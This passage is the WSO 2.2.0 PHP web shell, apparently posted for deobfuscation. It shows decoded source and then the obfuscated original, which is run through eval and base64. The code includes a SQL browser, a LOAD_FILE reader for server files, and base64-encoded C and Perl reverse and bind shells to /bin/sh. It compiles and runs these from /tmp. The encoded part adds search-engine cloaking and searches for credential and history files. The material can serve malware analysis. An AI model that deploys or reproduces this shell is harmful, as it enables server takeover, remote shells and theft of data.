			if(!empty($_POST[\'sql_base\'])){
				$db->selectdb($_POST[\'sql_base\']);
				echo "<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
					$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
					$value = htmlspecialchars($value);
					echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\')\">".$value."</a> (".$n[\'n\'].")</nobr><br>";
				}
				echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>";
				if(@$_POST[\'p1\'] == \'select\') {
					$_POST[\'p1\'] = \'query\';
					$db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\');
					$num = $db->fetch();
					$num = $num[\'n\'];
					echo "<span>".$_POST[\'p2\']."</span> ($num) ";
					for($i=0;$i<($num/30);$i++)
						if($i != (int)$_POST[\'p3\'])
							echo "<a href=\'#\' onclick=\'st(\"".$_POST[\'p2\']."\", $i)\'>",($i+1),"</a> ";
						else
							echo ($i+1)," ";
					if($_POST[\'type\']==\'pgsql\')
						$_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
					else
						$_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
					echo "<br><br>";
				}
				if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) {
					$db->query(@$_POST[\'p3\']);
					if($db->res !== false) {
						$title = false;
						echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo \'<tr>\';
								foreach($item as $key => $value)
									echo \'<th>\'.$key.\'</th>\';
								reset($item);
								$title=true;
								echo \'</tr><tr>\';
								$line = 2;
							}
							echo \'<tr class="l\'.$line.\'">\';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo \'<td><i>null</i></td>\';
								else
									echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
							}
							echo \'</tr>\';
						}
						echo \'</table>\';
					} else {
						echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
					}
				}
				echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
			if(@$_POST[\'p1\'] == \'loadfile\') {
				$db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
				$file = $db->fetch();
				echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
			}
	}
	echo \'</div>\';
	printFooter();
}
function actionNetwork() {
	printHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	?>
	<h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'wso\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
	</form>
	<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
	<span>Back-connect to</span><br/>
	Server: <input type=\'text\' name=\'server\' value=\'<?=$_SERVER[\'REMOTE_ADDR\']?>\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
	</form><br>
	<?php
	if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w)	{
				@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bpc\') {
			cf("/tmp/bp.c",$bind_port_c);
			$out = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST[\'p1\'] == \'bpp\') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
			echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcc\') {
			cf("/tmp/bc.c",$back_connect_c);
			$out = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo \'</div>\';
	printFooter();
}
if( empty($_POST[\'a\']) )
	if(isset($default_action) && function_exists(\'action\' . $default_action))
		$_POST[\'a\'] = $default_action;
	else
		$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
	call_user_func(\'action\' . $_POST[\'a\']);
?>'

Did this file decode correctly?

Original Code

<?php
/* WSO 2.2.0 (Web Shell by HARD _LINUX) */
$auth_pass = "21232f297a57a5a743894a0e4a801fc3"; //admin
?>
<?php eval("?>".base64_decode("PD9waHAKJGNvbG9yID0gIiNmZmYiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7CmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7CgloZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKCWV4aXQ7Cn0KQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnVkVSU0lPTicsICcyLjIuMCcpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwoJfQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKCT8+Cgk8Y2VudGVyPgoJPGZvcm0gbWV0aG9kPXBvc3Qgc3R5bGU9ImZvbnQtZmFtaWx5OmZhbnRhc3k7Ij4KCVBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBzdHlsZT0iYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp0ZWFsO2NvbG9yOiNmZmY7Ij4KCTwvZm9ybT48L2NlbnRlcj4KCTw/cGhwCglleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKCWlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CgkJKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwoJZWxzZQoJCXByaW50TG9naW4oKTsKCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApCgkkb3MgPSAnd2luJzsKZWxzZQoJJG9zID0gJ25peCc7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApCglAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKCSRjd2QgLj0gJy8nOwoJCmlmKCRvcyA9PSAnd2luJykKCSRhbGlhc2VzID0gYXJyYXkoCgkJIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwKICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwKICAgIAkiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiAgICAJIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLAoJCSJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKCSk7CmVsc2UKCSRhbGlhc2VzID0gYXJyYXkoCiAgCQkiTGlzdCBkaXIiID0+ICJscyAtbGEiLAoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogIAkJInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCgkJIkZpbmQiID0+ICIiLAogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgCQkiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogIAkJImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKCQkiTG9jYXRlIiA9PiAiIiwKICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKCQkibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKCQkibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAoJCSJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAoJCSJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCgkJImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAoJCSJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCgkJImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAoJCSJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAoJCSJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKCQkibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAoJCSJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAoJCSJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIJCgkpOwoKZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7CglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkJJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOwoJZ2xvYmFsICRjb2xvcjsKCT8+CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PTw/PSRfUE9TVFsnY2hhcnNldCddPz4nPjx0aXRsZT48Pz0kX1NFUlZFUlsnSFRUUF9IT1NUJ10/PiAtIFdTTyA8Pz1WRVJTSU9OPz48L3RpdGxlPgo8c3R5bGU+Cglib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2UxZTFlMTt9Cglib2R5LHRkLHRoCXtmb250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQoJdGFibGUuaW5mbwl7Y29sb3I6I0MzQzNDMztiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7fQoJc3BhbixoMSxhCXtjb2xvcjo8Pz0kY29sb3I/PiAhaW1wb3J0YW50O30KCXNwYW4JCXtmb250LXdlaWdodDpib2xkZXI7fQoJaDEJCQl7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkIHRlYWw7cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4O30KCWRpdi5jb250ZW50CXtwYWRkaW5nOjVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCWEJCQl7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJYTpob3ZlcgkJe3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQoJLm1sMQkJe2JvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzphdXRvO30KCS5iaWdhcmVhCXt3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQoJaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QJe21hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2JvcmRlcjoxcHggc29saWQgIzAwMDsgZm9udDo5cHQgQ291cmllciBOZXc7fQoJZm9ybQkJe21hcmdpbjowcHg7fQoJI3Rvb2xzVGJsCXt0ZXh0LWFsaWduOmNlbnRlcjt9CgkudG9vbHNJbnAJe3dpZHRoOjMwMHB4fQoJLm1haW4gdGgJe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7fQoJLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoJLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0KCS5sMQkJCXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CglwcmUJCQl7Zm9udDo5cHQgQ291cmllciBOZXc7fQo8L3N0eWxlPgo8c2NyaXB0PgoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKCQlpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOwoJCWlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CgkJaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsKCQlpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOwoJCWlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7Cgl9CglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQlkb2N1bWVudC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsKCQlmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCc8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTs/PicsIHBhcmFtcyk7Cgl9CglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwoJCQlyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKCQkJcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwoJCQlyZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlb